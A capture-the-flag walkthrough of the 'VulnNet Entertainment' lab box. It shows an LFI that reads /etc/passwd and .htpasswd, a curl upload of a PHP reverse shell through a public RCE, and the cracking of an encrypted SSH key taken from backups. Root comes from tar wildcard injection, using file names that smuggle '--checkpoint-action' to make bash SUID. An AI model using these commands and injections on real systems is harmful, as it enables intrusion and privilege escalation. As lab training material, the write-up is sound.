Can you take advantage of the misconfigurations made by VulnNet Entertainment?
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Let’s start with port 80:
We only have a login page available to us:
We don’t have much luck here. Looking into the source code in the /js
directory we find potential LFI:
http://vulnnet.thm/js/index__d8338055.js
We can pretty print the code and find:
http://vulnnet.thm/index.php?referer=/etc/passwd
We see that we get the contents of /etc/passwd
is echoed back to us:
Foothold
We start enumerating our environment and find a login in:
/etc/apache2/.htpasswd
We get our user password:
We can’t SSH onto the box, we can start enumerating subdomains after we found the LFI link. We find broadcast
:
Login using the creds we just found:
We find a version number in a comment on the index file. There’s a publicly available RCE exploit:
curl -u developers:9972761drmfsls -F "file=@rev.php" -F "plupload=1" -F "name=rev.php" "http://broadcast.vulnnet.thm/actions/photo_uploader.php"
Where rev.php
is a php reverse shell:
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
We navigate to http://broadcast.vulnnet.thm/files/photos/
and find a directory listing that leads to our reverse shell
User own
We only have root and server-management
that we can use. We search around the box and find some DB creds:
We don’t have a great deal of luck here but we can find some useful backups over at /var/backups
:
We have fully permission to the ssh backup, extract this gives us a private key:
Note: I copied the file over to /tmp and extracted due to permission limits.
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6CE1A97A7DAB4829FE59CC561FB2CCC4
mRFDRL15t7qvaZxJGHDJsewnhp7wESbEGxeAWtCrbeIVJbQIQd8Z8SKzpvTMFLtt
dseqsGtt8HSruVIq++PFpXRrBDG5F4rW5B6VDOVMk1O9J4eHEV0N7es+hZ22o2e9
60qqj7YkSY9jVj5Nqq49uUNUg0G0qnWh8M6r8r83Ov+HuChdeNC5CC2OutNivl7j
dmIaFRFVwmWNJUyVen1FYMaxE+NojcwsHMH8aV2FTiuMUsugOwZcMKhiRPTElojn
tDrlgNMnP6lMkQ6yyJEDNFtn7tTxl7tqdCIgB3aYQZXAf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NfVKs7M0gG5Xb93MLa+QT7TyjEn6bDa01O2+iOXkx
0scKMs4v3YBiYYhTHOkmI5OX0GVrvxKVyCJWY1ldVfu+6LEgsQmUvG9rYwO4+FaW
4cI3x31+qDr1tCJMLuPpfsyrayBB7duj/Y4AcWTWpY+feaHiDU/bQk66SBqW8WOb
d9vxlTg3xoDcLjahDAwtBI4ITvHNPp+hDEqeRWCZlKm4lWyI840IFMTlVqwmxVDq
-----END RSA PRIVATE KEY-----
This key is encrypted, we’ll need to decrypt it with SSH to john:
Root own
We have a cron entry that we can look at:
We can take a look at the script to see what it does:
#!/bin/bash
# Where to backup to.
dest="/var/backups"
# What to backup.
cd /home/server-management/Documents
backup_files="*"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
We can use the checkpoint args to exploit the tar
binary:
cd ~/Documents
echo "" > "--checkpoint-action=exec=sh exp.sh"
echo "" > --checkpoint=1
echo "chmod +s /bin/bash" > exp.sh
We wait a while until /bin/bash
is turned into an SUID: